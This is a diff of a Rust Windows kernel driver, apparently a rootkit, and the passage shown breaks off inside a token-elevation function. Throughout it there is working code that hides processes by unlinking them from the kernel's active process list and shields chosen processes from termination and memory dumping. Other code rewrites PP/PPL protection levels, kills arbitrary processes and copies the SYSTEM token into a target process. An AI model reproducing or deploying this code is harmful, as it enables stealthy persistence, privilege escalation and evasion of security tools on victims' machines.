let mut cb_reg = OB_CALLBACK_REGISTRATION {
|
||||||
|
Version: OB_FLT_REGISTRATION_VERSION as u16,
|
||||||
|
OperationRegistrationCount: 1,
|
||||||
|
Altitude: altitude.to_unicode(),
|
||||||
|
RegistrationContext: core::ptr::null_mut(),
|
||||||
|
OperationRegistration: &mut op_reg,
|
||||||
|
};
|
||||||
|
|
||||||
|
status = ObRegisterCallbacks(&mut cb_reg,core::ptr::addr_of_mut!(CALLBACK_REGISTRATION_HANDLE_PROCESS));
|
||||||
|
if !NT_SUCCESS(status) {
|
||||||
|
log::error!("ObRegisterCallbacks (Process) Failed With Status: {status}");
|
||||||
|
return status;
|
||||||
|
}
|
||||||
|
|
||||||
|
// Creating callbacks related to thread operations
|
||||||
|
let mut op_reg = OB_OPERATION_REGISTRATION {
|
||||||
|
ObjectType: PsThreadType,
|
||||||
|
Operations: OB_OPERATION_HANDLE_CREATE | OB_OPERATION_HANDLE_DUPLICATE,
|
||||||
|
PreOperation: Some(on_pre_open_thread),
|
||||||
|
PostOperation: None,
|
||||||
|
};
|
||||||
|
let altitude = uni::str_to_unicode("31243.5223");
|
||||||
|
let mut cb_reg = OB_CALLBACK_REGISTRATION {
|
||||||
|
Version: OB_FLT_REGISTRATION_VERSION as u16,
|
||||||
|
OperationRegistrationCount: 1,
|
||||||
|
Altitude: altitude.to_unicode(),
|
||||||
|
RegistrationContext: core::ptr::null_mut(),
|
||||||
|
OperationRegistration: &mut op_reg,
|
||||||
|
};
|
||||||
|
|
||||||
|
status = ObRegisterCallbacks(&mut cb_reg,core::ptr::addr_of_mut!(CALLBACK_REGISTRATION_HANDLE_THREAD));
|
||||||
|
if !NT_SUCCESS(status) {
|
||||||
|
log::error!("ObRegisterCallbacks (Thread) Failed With Status: {status}");
|
||||||
|
return status;
|
||||||
|
}
|
||||||
|
|
||||||
|
// Creating callbacks related to registry operations
|
||||||
|
let mut altitude = uni::str_to_unicode("31122.6172").to_unicode();
|
||||||
|
status = CmRegisterCallbackEx(
|
||||||
|
Some(registry_callback),
|
||||||
|
&mut altitude,
|
||||||
|
driver_object as *mut DRIVER_OBJECT as *mut core::ffi::c_void,
|
||||||
|
null_mut(),
|
||||||
|
core::ptr::addr_of_mut!(CALLBACK_REGISTRY),
|
||||||
|
null_mut(),
|
||||||
|
);
|
||||||
|
|
||||||
|
if !NT_SUCCESS(status) {
|
||||||
|
log::error!("CmRegisterCallbackEx Failed With Status: {status}");
|
||||||
|
return status;
|
||||||
|
}
|
||||||
|
|
||||||
|
status
|
||||||
|
}
|
||||||
127
driver/src/module/mod.rs
Normal file
127
driver/src/module/mod.rs
Normal file
@@ -0,0 +1,127 @@
|
|||||||
|
extern crate alloc;
|
||||||
|
|
||||||
|
use {
|
||||||
|
crate::{includes::{PsGetProcessPeb, MmCopyVirtualMemory}, process::Process},
|
||||||
|
ntapi::{ntldr::LDR_DATA_TABLE_ENTRY, ntpebteb::PEB},
|
||||||
|
shared::structs::{ModuleInfo, TargetProcess},
|
||||||
|
wdk_sys::{
|
||||||
|
ntddk::{
|
||||||
|
ExAllocatePool, ExFreePool, IoGetCurrentProcess, KeStackAttachProcess,
|
||||||
|
KeUnstackDetachProcess,
|
||||||
|
},
|
||||||
|
KAPC_STATE, NTSTATUS, STATUS_INVALID_PARAMETER,
|
||||||
|
STATUS_SUCCESS, STATUS_UNSUCCESSFUL, _MODE::KernelMode, _POOL_TYPE::NonPagedPool
|
||||||
|
},
|
||||||
|
winapi::{shared::ntdef::LIST_ENTRY, um::winnt::RtlZeroMemory}
|
||||||
|
};
|
||||||
|
|
||||||
|
/// Represents a module in the operating system.
|
||||||
|
pub struct Module;
|
||||||
|
|
||||||
|
impl Module {
|
||||||
|
/// Enumerates modules in a given target process.
|
||||||
|
///
|
||||||
|
/// # Parameters
|
||||||
|
/// - `process`: A pointer to the target process (`*mut TargetProcess`) to enumerate modules from.
|
||||||
|
/// - `module_info`: A pointer to a `ModuleInfo` structure that will be populated with information about the modules.
|
||||||
|
/// - `information`: A mutable reference to a `usize` that will store additional information about the module enumeration.
|
||||||
|
///
|
||||||
|
/// # Returns
|
||||||
|
/// - `NTSTATUS`: Returns `STATUS_SUCCESS` if the module enumeration is successful, otherwise returns an appropriate error status.
|
||||||
|
///
|
||||||
|
pub unsafe fn enumerate_module(process: *mut TargetProcess, module_info: *mut ModuleInfo, information: &mut usize) -> NTSTATUS {
|
||||||
|
log::info!("Starting module enumeration");
|
||||||
|
|
||||||
|
let pid = (*process).pid;
|
||||||
|
let mut apc_state: KAPC_STATE = core::mem::zeroed();
|
||||||
|
let temp_info_size = 256 * core::mem::size_of::<ModuleInfo>();
|
||||||
|
let temp_info = ExAllocatePool(NonPagedPool, temp_info_size as u64) as *mut ModuleInfo;
|
||||||
|
|
||||||
|
if temp_info.is_null() {
|
||||||
|
log::error!("ExAllocatePool Failed to Allocate Memory");
|
||||||
|
return STATUS_UNSUCCESSFUL
|
||||||
|
}
|
||||||
|
|
||||||
|
RtlZeroMemory(temp_info as *mut _, temp_info_size);
|
||||||
|
|
||||||
|
let target = match Process::new(pid) {
|
||||||
|
Some(p) => p,
|
||||||
|
None => return STATUS_UNSUCCESSFUL,
|
||||||
|
};
|
||||||
|
|
||||||
|
KeStackAttachProcess(target.e_process, &mut apc_state);
|
||||||
|
|
||||||
|
let target_peb = PsGetProcessPeb(target.e_process) as *mut PEB;
|
||||||
|
if target_peb.is_null() || (*target_peb).Ldr.is_null() {
|
||||||
|
KeUnstackDetachProcess(&mut apc_state);
|
||||||
|
ExFreePool(temp_info as _);
|
||||||
|
return STATUS_INVALID_PARAMETER;
|
||||||
|
}
|
||||||
|
|
||||||
|
let current = &mut (*(*target_peb).Ldr).InLoadOrderModuleList as *mut LIST_ENTRY;
|
||||||
|
let mut next = (*(*target_peb).Ldr).InLoadOrderModuleList.Flink;
|
||||||
|
let mut count = 0;
|
||||||
|
|
||||||
|
while next != current {
|
||||||
|
if next.is_null() {
|
||||||
|
log::error!("Next LIST_ENTRY is null");
|
||||||
|
KeUnstackDetachProcess(&mut apc_state);
|
||||||
|
ExFreePool(temp_info as _);
|
||||||
|
return STATUS_UNSUCCESSFUL;
|
||||||
|
}
|
||||||
|
|
||||||
|
let list_entry = next as *mut LDR_DATA_TABLE_ENTRY;
|
||||||
|
if list_entry.is_null() {
|
||||||
|
log::error!("LDR_DATA_TABLE_ENTRY is null");
|
||||||
|
KeUnstackDetachProcess(&mut apc_state);
|
||||||
|
ExFreePool(temp_info as _);
|
||||||
|
return STATUS_UNSUCCESSFUL;
|
||||||
|
}
|
||||||
|
|
||||||
|
let buffer = core::slice::from_raw_parts(
|
||||||
|
(*list_entry).FullDllName.Buffer,
|
||||||
|
((*list_entry).FullDllName.Length / 2) as usize,
|
||||||
|
);
|
||||||
|
if buffer.is_empty() {
|
||||||
|
log::error!("Buffer for module name is empty");
|
||||||
|
KeUnstackDetachProcess(&mut apc_state);
|
||||||
|
ExFreePool(temp_info as _);
|
||||||
|
return STATUS_UNSUCCESSFUL;
|
||||||
|
}
|
||||||
|
|
||||||
|
// Module name
|
||||||
|
let name = &mut (*temp_info.offset(count)).name.as_mut();
|
||||||
|
core::ptr::copy_nonoverlapping(buffer.as_ptr(), name.as_mut_ptr(), buffer.len());
|
||||||
|
|
||||||
|
// Module address
|
||||||
|
(*temp_info.offset(count)).address = (*list_entry).DllBase as usize;
|
||||||
|
|
||||||
|
// Module index
|
||||||
|
(*temp_info.offset(count)).index = count as u8;
|
||||||
|
|
||||||
|
count += 1;
|
||||||
|
|
||||||
|
next = (*next).Flink;
|
||||||
|
}
|
||||||
|
|
||||||
|
KeUnstackDetachProcess(&mut apc_state);
|
||||||
|
|
||||||
|
let size_to_copy = count as usize * core::mem::size_of::<ModuleInfo>();
|
||||||
|
let mut return_size = 0;
|
||||||
|
MmCopyVirtualMemory(
|
||||||
|
IoGetCurrentProcess(),
|
||||||
|
temp_info as *mut _,
|
||||||
|
IoGetCurrentProcess(),
|
||||||
|
module_info as *mut _,
|
||||||
|
size_to_copy as u64,
|
||||||
|
KernelMode as i8,
|
||||||
|
&mut return_size,
|
||||||
|
);
|
||||||
|
|
||||||
|
ExFreePool(temp_info as _);
|
||||||
|
|
||||||
|
*information = count as usize * core::mem::size_of::<ModuleInfo>();
|
||||||
|
|
||||||
|
STATUS_SUCCESS
|
||||||
|
}
|
||||||
|
}
|
||||||
141
driver/src/process/callback.rs
Normal file
141
driver/src/process/callback.rs
Normal file
@@ -0,0 +1,141 @@
|
|||||||
|
#![cfg(not(feature = "mapper"))]
|
||||||
|
|
||||||
|
use {
|
||||||
|
core::ffi::c_void,
|
||||||
|
spin::{Mutex, lazy::Lazy},
|
||||||
|
alloc::vec::Vec,
|
||||||
|
shared::{structs::{ProcessListInfo, ProcessProtection}, vars::MAX_PIDS},
|
||||||
|
winapi::um::winnt::{PROCESS_CREATE_THREAD, PROCESS_TERMINATE, PROCESS_VM_OPERATION, PROCESS_VM_READ},
|
||||||
|
wdk_sys::{
|
||||||
|
ntddk::PsGetProcessId, PVOID,
|
||||||
|
_OB_PREOP_CALLBACK_STATUS::{self, OB_PREOP_SUCCESS},
|
||||||
|
NTSTATUS, OB_PRE_OPERATION_INFORMATION, PEPROCESS,
|
||||||
|
PROCESS_DUP_HANDLE, STATUS_SUCCESS, STATUS_UNSUCCESSFUL,
|
||||||
|
STATUS_DUPLICATE_OBJECTID
|
||||||
|
},
|
||||||
|
};
|
||||||
|
|
||||||
|
/// Handle for the process callback registration.
|
||||||
|
pub static mut CALLBACK_REGISTRATION_HANDLE_PROCESS: PVOID = core::ptr::null_mut();
|
||||||
|
|
||||||
|
/// List of target PIDs protected by a mutex.
|
||||||
|
static TARGET_PIDS: Lazy<Mutex<Vec<usize>>> = Lazy::new(|| Mutex::new(Vec::with_capacity(MAX_PIDS)));
|
||||||
|
|
||||||
|
/// Method to check if the action sent is to add or remove a pid from the list of protected processes
|
||||||
|
///
|
||||||
|
/// # Parameters
|
||||||
|
/// - `process`: Structure with information about the process that will be added or removed from the list of protected processes.
|
||||||
|
///
|
||||||
|
/// # Returns
|
||||||
|
/// - `NTSTATUS`: A status code indicating the success or failure of the operation.
|
||||||
|
///
|
||||||
|
///
|
||||||
|
pub fn add_remove_process_toggle(process: *mut ProcessProtection) -> NTSTATUS {
|
||||||
|
let pid = unsafe { (*process).pid };
|
||||||
|
let status = if unsafe { (*process).enable } {
|
||||||
|
add_target_pid(pid)
|
||||||
|
} else {
|
||||||
|
remove_target_pid(pid)
|
||||||
|
};
|
||||||
|
|
||||||
|
status
|
||||||
|
}
|
||||||
|
|
||||||
|
/// Method for adding the list of processes that will have anti-kill / dumping protection.
|
||||||
|
///
|
||||||
|
/// # Parameters
|
||||||
|
/// - `pid`: The identifier of the target process (PID) to be hidden.
|
||||||
|
///
|
||||||
|
/// # Returns
|
||||||
|
/// - `NTSTATUS`: A status code indicating the success or failure of the operation.
|
||||||
|
///
|
||||||
|
fn add_target_pid(pid: usize) -> NTSTATUS {
|
||||||
|
let mut pids = TARGET_PIDS.lock();
|
||||||
|
|
||||||
|
if pids.len() >= MAX_PIDS {
|
||||||
|
log::error!("PID list is full");
|
||||||
|
return STATUS_UNSUCCESSFUL;
|
||||||
|
}
|
||||||
|
|
||||||
|
if pids.contains(&pid) {
|
||||||
|
log::warn!("PID {pid} already exists in the list");
|
||||||
|
return STATUS_DUPLICATE_OBJECTID;
|
||||||
|
}
|
||||||
|
|
||||||
|
pids.push(pid);
|
||||||
|
|
||||||
|
STATUS_SUCCESS
|
||||||
|
}
|
||||||
|
|
||||||
|
/// Method for removing the list of processes that will have anti-kill / dumping protection.
|
||||||
|
///
|
||||||
|
/// # Parameters
|
||||||
|
/// - `pid`: The identifier of the target process (PID) to be hidden.
|
||||||
|
///
|
||||||
|
/// # Returns
|
||||||
|
/// - `NTSTATUS`: A status code indicating the success or failure of the operation.
|
||||||
|
///
|
||||||
|
fn remove_target_pid(pid: usize) -> NTSTATUS {
|
||||||
|
let mut pids = TARGET_PIDS.lock();
|
||||||
|
|
||||||
|
if let Some(index) = pids.iter().position(|&x| x == pid) {
|
||||||
|
pids.remove(index);
|
||||||
|
STATUS_SUCCESS
|
||||||
|
} else {
|
||||||
|
log::error!("PID {pid} not found in the list");
|
||||||
|
STATUS_UNSUCCESSFUL
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
/// Enumerate Processes Protect.
|
||||||
|
///
|
||||||
|
/// # Parameters
|
||||||
|
/// - `info_process`: It is a parameter of type `InfoProcesses` that will send the processes that are currently protected.
|
||||||
|
/// - `information`: It is a parameter of type `usize` that will be updated with the total size of the filled `InfoProcesses` structures.
|
||||||
|
///
|
||||||
|
/// # Return
|
||||||
|
/// - `NTSTATUS`: A status code indicating success or failure of the operation.
|
||||||
|
///
|
||||||
|
pub unsafe fn enumerate_protection_processes(info_process: *mut ProcessListInfo, information: &mut usize) -> NTSTATUS {
|
||||||
|
let process_info = TARGET_PIDS.lock();
|
||||||
|
let mut count = 0;
|
||||||
|
for i in process_info.iter() {
|
||||||
|
(*info_process.offset(count)).pids = *i;
|
||||||
|
|
||||||
|
*information += core::mem::size_of::<ProcessListInfo>();
|
||||||
|
count += 1;
|
||||||
|
}
|
||||||
|
|
||||||
|
STATUS_SUCCESS
|
||||||
|
}
|
||||||
|
|
||||||
|
/// The object (process) pre-operation callback function used to filter process opening operations.
|
||||||
|
/// This function is registered as a callback and is called by the operating system before a process opening operation is completed.
|
||||||
|
///
|
||||||
|
/// # Parameters
|
||||||
|
/// - `_registration_context`: Pointer to record context (Not used).
|
||||||
|
/// - `info`: Pointer to an `OB_PRE_OPERATION_INFORMATION` structure that contains information about the process's pre-opening operation.
|
||||||
|
///
|
||||||
|
/// # Returns
|
||||||
|
/// - `_OB_PREOP_CALLBACK_STATUS::Type`: A status code indicating the success or failure of the operation.
|
||||||
|
///
|
||||||
|
pub unsafe extern "C" fn on_pre_open_process(
|
||||||
|
_registration_context: *mut c_void,
|
||||||
|
info: *mut OB_PRE_OPERATION_INFORMATION,
|
||||||
|
) -> _OB_PREOP_CALLBACK_STATUS::Type {
|
||||||
|
if (*info).__bindgen_anon_1.__bindgen_anon_1.KernelHandle() == 1 {
|
||||||
|
return OB_PREOP_SUCCESS;
|
||||||
|
}
|
||||||
|
|
||||||
|
let process = (*info).Object as PEPROCESS;
|
||||||
|
let pid = PsGetProcessId(process) as usize;
|
||||||
|
let pids = TARGET_PIDS.lock();
|
||||||
|
|
||||||
|
if pids.contains(&pid) {
|
||||||
|
log::info!("Anti-Kill / Dumping actived with PID => {pid}");
|
||||||
|
let mask = !(PROCESS_VM_OPERATION | PROCESS_VM_READ | PROCESS_CREATE_THREAD | PROCESS_DUP_HANDLE | PROCESS_TERMINATE);
|
||||||
|
(*(*info).Parameters).CreateHandleInformation.DesiredAccess &= mask;
|
||||||
|
}
|
||||||
|
|
||||||
|
OB_PREOP_SUCCESS
|
||||||
|
}
|
||||||
364
driver/src/process/mod.rs
Normal file
364
driver/src/process/mod.rs
Normal file
@@ -0,0 +1,364 @@
|
|||||||
|
use {
|
||||||
|
spin::{mutex::Mutex, lazy::Lazy},
|
||||||
|
wdk_sys::{ntddk::*, *},
|
||||||
|
alloc::{boxed::Box, vec::Vec},
|
||||||
|
core::sync::atomic::{AtomicPtr, Ordering},
|
||||||
|
shared::{
|
||||||
|
vars::{MAX_PIDS, Options},
|
||||||
|
structs::{
|
||||||
|
HiddenProcessInfo , ProcessListInfo, TargetProcess,
|
||||||
|
ProcessInfoHide, ProcessSignature, LIST_ENTRY,
|
||||||
|
EnumerateInfoInput
|
||||||
|
},
|
||||||
|
},
|
||||||
|
crate::{
|
||||||
|
includes::PROCESS_SIGNATURE,
|
||||||
|
utils::offsets::{get_offset_signature, get_offset_token, get_offset_unique_process_id},
|
||||||
|
},
|
||||||
|
};
|
||||||
|
|
||||||
|
#[cfg(not(feature = "mapper"))]
|
||||||
|
pub mod callback;
|
||||||
|
#[cfg(not(feature = "mapper"))]
|
||||||
|
pub use callback::*;
|
||||||
|
|
||||||
|
/// List of target processes protected by a mutex.
|
||||||
|
pub static PROCESS_INFO_HIDE: Lazy<Mutex<Vec<HiddenProcessInfo>>> = Lazy::new(|| Mutex::new(Vec::with_capacity(MAX_PIDS)));
|
||||||
|
|
||||||
|
/// Represents a process in the operating system.
|
||||||
|
pub struct Process {
|
||||||
|
/// Pointer to the EPROCESS structure, used for managing process information.
|
||||||
|
pub e_process: PEPROCESS,
|
||||||
|
}
|
||||||
|
|
||||||
|
impl Process {
|
||||||
|
/// Creates a new `Process` instance by looking up a process by its PID.
|
||||||
|
///
|
||||||
|
/// # Parameters
|
||||||
|
/// - `pid`: The process identifier (PID) to look up.
|
||||||
|
///
|
||||||
|
/// # Returns
|
||||||
|
/// - `Option<Self>`: Returns `Some(Self)` if the process lookup is successful, otherwise `None`.
|
||||||
|
///
|
||||||
|
pub fn new(pid: usize) -> Option<Self> {
|
||||||
|
let mut process = core::ptr::null_mut();
|
||||||
|
|
||||||
|
let status = unsafe { PsLookupProcessByProcessId(pid as _, &mut process) };
|
||||||
|
if NT_SUCCESS(status) {
|
||||||
|
Some(Self { e_process: process })
|
||||||
|
} else {
|
||||||
|
log::error!("PsLookupProcessByProcessId Failed With Status: {status}");
|
||||||
|
None
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
/// Toggle the visibility of a process based on the `enable` field of the `TargetProcess` structure.
|
||||||
|
///
|
||||||
|
/// # Parameters
|
||||||
|
/// - `process`: A pointer to the `TargetProcess` structure.
|
||||||
|
///
|
||||||
|
/// # Returns
|
||||||
|
/// - `NTSTATUS`: A status code indicating success or failure of the operation.
|
||||||
|
///
|
||||||
|
pub unsafe fn process_toggle(process: *mut ProcessInfoHide) -> NTSTATUS {
|
||||||
|
let pid = (*process).pid;
|
||||||
|
let status = if (*process).enable {
|
||||||
|
Self::hide_process(pid)
|
||||||
|
} else {
|
||||||
|
Self::unhide_process(pid)
|
||||||
|
};
|
||||||
|
|
||||||
|
status
|
||||||
|
}
|
||||||
|
|
||||||
|
/// Hide a process by removing it from the list of active processes.
|
||||||
|
///
|
||||||
|
/// # Parameters
|
||||||
|
/// - `process`: The identifier of the target process (PID) to be hidden.
|
||||||
|
///
|
||||||
|
/// # Return
|
||||||
|
/// - `NTSTATUS`: A status code indicating success or failure of the operation.
|
||||||
|
///
|
||||||
|
unsafe fn hide_process(pid: usize) -> NTSTATUS {
|
||||||
|
// Offsets
|
||||||
|
let unique_process_id = get_offset_unique_process_id();
|
||||||
|
let active_process_link_list = unique_process_id + core::mem::size_of::<usize>() as isize;
|
||||||
|
let process_lock = unique_process_id - core::mem::size_of::<usize>() as isize;
|
||||||
|
|
||||||
|
// Retrieving EPROCESS from the target process
|
||||||
|
let process = match Self::new(pid) {
|
||||||
|
Some(p) => p,
|
||||||
|
None => return STATUS_UNSUCCESSFUL,
|
||||||
|
};
|
||||||
|
|
||||||
|
let list_entry = process.e_process.cast::<u8>().offset(active_process_link_list) as PLIST_ENTRY;
|
||||||
|
let push_lock = process.e_process.cast::<u8>().offset(process_lock) as *mut u64;
|
||||||
|
|
||||||
|
ExAcquirePushLockExclusiveEx(push_lock, 0);
|
||||||
|
|
||||||
|
let next = (*list_entry).Flink; // Process (3)
|
||||||
|
let previous = (*list_entry).Blink; // Process (1)
|
||||||
|
let list = LIST_ENTRY {
|
||||||
|
Flink: next as *mut LIST_ENTRY,
|
||||||
|
Blink: previous as *mut LIST_ENTRY,
|
||||||
|
};
|
||||||
|
|
||||||
|
let mut process_info = PROCESS_INFO_HIDE.lock();
|
||||||
|
let list_ptr = Box::into_raw(Box::new(list));
|
||||||
|
log::info!("Stored list entry at: {:?}", list_ptr);
|
||||||
|
|
||||||
|
process_info.push(HiddenProcessInfo {
|
||||||
|
pid,
|
||||||
|
list_entry: AtomicPtr::new(list_ptr),
|
||||||
|
});
|
||||||
|
|
||||||
|
(*next).Blink = previous;
|
||||||
|
(*previous).Flink = next;
|
||||||
|
|
||||||
|
(*list_entry).Flink = list_entry;
|
||||||
|
(*list_entry).Blink = list_entry;
|
||||||
|
|
||||||
|
log::info!("Process with PID {pid} hidden successfully.");
|
||||||
|
|
||||||
|
ExReleasePushLockExclusiveEx(push_lock, 0);
|
||||||
|
|
||||||
|
STATUS_SUCCESS
|
||||||
|
}
|
||||||
|
|
||||||
|
/// Unhide a process by removing it from the list of active processes.
|
||||||
|
///
|
||||||
|
/// # Parameters
|
||||||
|
/// - `process`: The identifier of the target process (PID) to be hidden.
|
||||||
|
///
|
||||||
|
/// # Return
|
||||||
|
/// - `NTSTATUS`: A status code indicating success or failure of the operation.
|
||||||
|
///
|
||||||
|
unsafe fn unhide_process(pid: usize) -> NTSTATUS {
|
||||||
|
// Offsets
|
||||||
|
let unique_process_id = get_offset_unique_process_id();
|
||||||
|
let active_process_link_list = unique_process_id + core::mem::size_of::<usize>() as isize;
|
||||||
|
let process_lock = unique_process_id - core::mem::size_of::<usize>() as isize;
|
||||||
|
|
||||||
|
// Retrieving EPROCESS from the target process
|
||||||
|
let process = match Self::new(pid) {
|
||||||
|
Some(p) => p,
|
||||||
|
None => return STATUS_UNSUCCESSFUL,
|
||||||
|
};
|
||||||
|
|
||||||
|
let list_entry = process.e_process.cast::<u8>().offset(active_process_link_list) as PLIST_ENTRY;
|
||||||
|
let push_lock = process.e_process.cast::<u8>().offset(process_lock) as PULONG_PTR;
|
||||||
|
|
||||||
|
ExAcquirePushLockExclusiveEx(push_lock, 0);
|
||||||
|
|
||||||
|
// Restoring Flink / Blink
|
||||||
|
let mut process_info = PROCESS_INFO_HIDE.lock();
|
||||||
|
if let Some(index) = process_info.iter().position(|p| p.pid == pid) {
|
||||||
|
let process = &process_info[index];
|
||||||
|
let list = process.list_entry.load(Ordering::SeqCst);
|
||||||
|
if list.is_null() {
|
||||||
|
log::error!("List entry stored in AtomicPtr is null");
|
||||||
|
return STATUS_INVALID_PARAMETER;
|
||||||
|
}
|
||||||
|
|
||||||
|
(*list_entry).Flink = (*list).Flink as *mut _LIST_ENTRY;
|
||||||
|
(*list_entry).Blink = (*list).Blink as *mut _LIST_ENTRY;
|
||||||
|
|
||||||
|
let next = (*list_entry).Flink; // Processo (3)
|
||||||
|
let previous = (*list_entry).Blink; // Processo (1)
|
||||||
|
|
||||||
|
(*next).Blink = list_entry;
|
||||||
|
(*previous).Flink = list_entry;
|
||||||
|
|
||||||
|
process_info.remove(index);
|
||||||
|
} else {
|
||||||
|
log::info!("PID ({pid}) Not found");
|
||||||
|
ExReleasePushLockExclusiveEx(push_lock, 0);
|
||||||
|
return STATUS_UNSUCCESSFUL;
|
||||||
|
}
|
||||||
|
|
||||||
|
log::info!("Process with PID {pid} unhidden successfully.");
|
||||||
|
ExReleasePushLockExclusiveEx(push_lock, 0);
|
||||||
|
|
||||||
|
STATUS_SUCCESS
|
||||||
|
}
|
||||||
|
|
||||||
|
/// Toggles the enumeration between hiding or protecting processes based on the options provided.
|
||||||
|
///
|
||||||
|
/// # Arguments
|
||||||
|
/// - `input_target`: Pointer to the enumeration information input structure.
|
||||||
|
/// - `info_process`: Information structure of processes.
|
||||||
|
/// - `information`: Pointer to a variable to store information size.
|
||||||
|
///
|
||||||
|
/// # Returns
|
||||||
|
/// - `NTSTATUS`: Status of the operation. `STATUS_SUCCESS` if successful, `STATUS_UNSUCCESSFUL` otherwise.
|
||||||
|
///
|
||||||
|
pub unsafe fn enumerate_process_toggle(input_target: *mut EnumerateInfoInput, info_process: *mut ProcessListInfo, information: &mut usize) -> NTSTATUS {
|
||||||
|
let status;
|
||||||
|
|
||||||
|
match (*input_target).options {
|
||||||
|
Options::Hide => {
|
||||||
|
status = Self::enumerate_hide_processes(info_process, information);
|
||||||
|
},
|
||||||
|
#[cfg(not(feature = "mapper"))]
|
||||||
|
Options::Protection => {
|
||||||
|
status = callback::enumerate_protection_processes(info_process, information);
|
||||||
|
},
|
||||||
|
#[cfg(feature = "mapper")]
|
||||||
|
Options::Protection => {
|
||||||
|
status = wdk_sys::STATUS_INVALID_DEVICE_REQUEST;
|
||||||
|
},
|
||||||
|
}
|
||||||
|
|
||||||
|
status
|
||||||
|
}
|
||||||
|
|
||||||
|
/// Enumerate Processes Hide.
|
||||||
|
///
|
||||||
|
/// # Parameters
|
||||||
|
/// - `info_process`: It is a parameter of type `ProcessListInfo` that will send the processes that are currently hidden.
|
||||||
|
/// - `information`: It is a parameter of type `usize` that will be updated with the total size of the filled `ProcessListInfo` structures.
|
||||||
|
///
|
||||||
|
/// # Return
|
||||||
|
/// - `NTSTATUS`: A status code indicating success or failure of the operation.
|
||||||
|
///
|
||||||
|
unsafe fn enumerate_hide_processes(info_process: *mut ProcessListInfo, information: &mut usize) -> NTSTATUS {
|
||||||
|
let process_info = PROCESS_INFO_HIDE.lock();
|
||||||
|
let mut count = 0;
|
||||||
|
for i in process_info.iter() {
|
||||||
|
(*info_process.offset(count)).pids = i.pid;
|
||||||
|
|
||||||
|
*information += core::mem::size_of::<ProcessListInfo>();
|
||||||
|
count += 1;
|
||||||
|
}
|
||||||
|
|
||||||
|
STATUS_SUCCESS
|
||||||
|
}
|
||||||
|
|
||||||
|
/// Terminate a process specified by the PID (Process Identifier).
|
||||||
|
///
|
||||||
|
/// # Parameters
|
||||||
|
/// - `pid`: The identifier of the target process (PID) to terminate process.
|
||||||
|
///
|
||||||
|
/// # Return
|
||||||
|
/// - `NTSTATUS`: A status code indicating success or failure of the operation.
|
||||||
|
///
|
||||||
|
pub unsafe fn terminate_process(process: *mut TargetProcess) -> NTSTATUS {
|
||||||
|
let mut h_process: HANDLE = core::ptr::null_mut();
|
||||||
|
let pid = (*process).pid;
|
||||||
|
let mut object_attributes: OBJECT_ATTRIBUTES = core::mem::zeroed();
|
||||||
|
let mut client_id = CLIENT_ID {
|
||||||
|
UniqueProcess: pid as _,
|
||||||
|
UniqueThread: core::ptr::null_mut(),
|
||||||
|
};
|
||||||
|
|
||||||
|
let mut status = ZwOpenProcess(
|
||||||
|
&mut h_process,
|
||||||
|
PROCESS_ALL_ACCESS,
|
||||||
|
&mut object_attributes,
|
||||||
|
&mut client_id,
|
||||||
|
);
|
||||||
|
if !NT_SUCCESS(status) {
|
||||||
|
log::error!("ZwOpenProcess Failed With Status: {status}");
|
||||||
|
return status;
|
||||||
|
}
|
||||||
|
|
||||||
|
status = ZwTerminateProcess(h_process, 0);
|
||||||
|
|
||||||
|
ZwClose(h_process);
|
||||||
|
|
||||||
|
if !NT_SUCCESS(status) {
|
||||||
|
log::error!("ZwTerminateProcess Failed With Status: {status}");
|
||||||
|
return status;
|
||||||
|
}
|
||||||
|
|
||||||
|
log::info!("Process terminated with success: {pid}");
|
||||||
|
|
||||||
|
STATUS_SUCCESS
|
||||||
|
}
|
||||||
|
|
||||||
|
/// Removing process signature (PP / PPL).
|
||||||
|
///
|
||||||
|
/// # Parameters
|
||||||
|
/// - `pid`: The identifier of the target process (PID) to remove protection.
|
||||||
|
///
|
||||||
|
/// # Return
|
||||||
|
/// - `NTSTATUS`: A status code indicating success or failure of the operation.
|
||||||
|
///
|
||||||
|
pub unsafe fn protection_signature(signature_info: *mut ProcessSignature) -> NTSTATUS {
|
||||||
|
let pid = (*signature_info).pid;
|
||||||
|
let sg = (*signature_info).sg;
|
||||||
|
let tp = (*signature_info).tp;
|
||||||
|
|
||||||
|
// Offset
|
||||||
|
let protection_offset = get_offset_signature();
|
||||||
|
|
||||||
|
// Retrieving EPROCESS from the target process
|
||||||
|
let process = match Self::new(pid) {
|
||||||
|
Some(p) => p,
|
||||||
|
None => return STATUS_UNSUCCESSFUL,
|
||||||
|
};
|
||||||
|
|
||||||
|
let new_sign = (sg << 4) | tp;
|
||||||
|
let process_signature = process.e_process.cast::<u8>().offset(protection_offset) as *mut PROCESS_SIGNATURE;
|
||||||
|
|
||||||
|
(*process_signature).signature_level = new_sign as u8;
|
||||||
|
(*process_signature).protection.set_type_(tp as u8);
|
||||||
|
(*process_signature).protection.set_signer(sg as u8);
|
||||||
|
|
||||||
|
STATUS_SUCCESS
|
||||||
|
}
|
||||||
|
|
||||||
|
/// Raises the token of the specified process to the system token.
|
||||||
|
///
|
||||||
|
/// This function raises the token of a process identified by its PID (Process ID)
|
||||||
|
/// to the token of the system process, effectively elevating the privileges of the target process
|
||||||
|
/// to those of the system (NT AUTHORITY\SYSTEM).
|
||||||
|
///
|
||||||
|
/// # Parameters
|
||||||
|
/// - `pid`: The identifier of the target process (PID) whose token will be raised.
|
||||||
|
///
|
||||||
|
/// # Return
|
||||||
|
/// - `NTSTATUS`: A status code indicating success or failure of the operation.
|
||||||
|
///
|
||||||
|
pub unsafe fn elevate_process(process: *mut TargetProcess) -> NTSTATUS {
|
||||||
|
let pid = (*process).pid;
|
||||||
|
let system_process = 4;
|
||||||
|
|
||||||
|
// Offset
|
||||||
|
let token = get_offset_token();
|
||||||
|
|
||||||
|
// Retrieving EPROCESS from the target process
|
||||||
|
let target = match Self::new(pid) {
|
||||||
|
Some(p) => p,
|
||||||
|
None => return STATUS_UNSUCCESSFUL,
|
||||||
|
};
|
||||||
|
|
||||||
|
// Retrieving EPROCESS from the System process (By default the PID is 4)
|
||||||
|
let system = match Self::new(system_process) {
|
||||||
|
Some(p) => p,
|
||||||
|
None => return STATUS_UNSUCCESSFUL,
|
||||||
|
};
|
||||||
|
|
||||||
|
// Accessing EPROCESS.Token
|
||||||
|
let target_token_ptr = target.e_process.cast::<u8>().offset(token) as *mut u64;
|
||||||
|
let system_token_ptr = system.e_process.cast::<u8>().offset(token) as *mut u64;
|
||||||
|
|
||||||
|
// Writing the system value to the target process
|
||||||
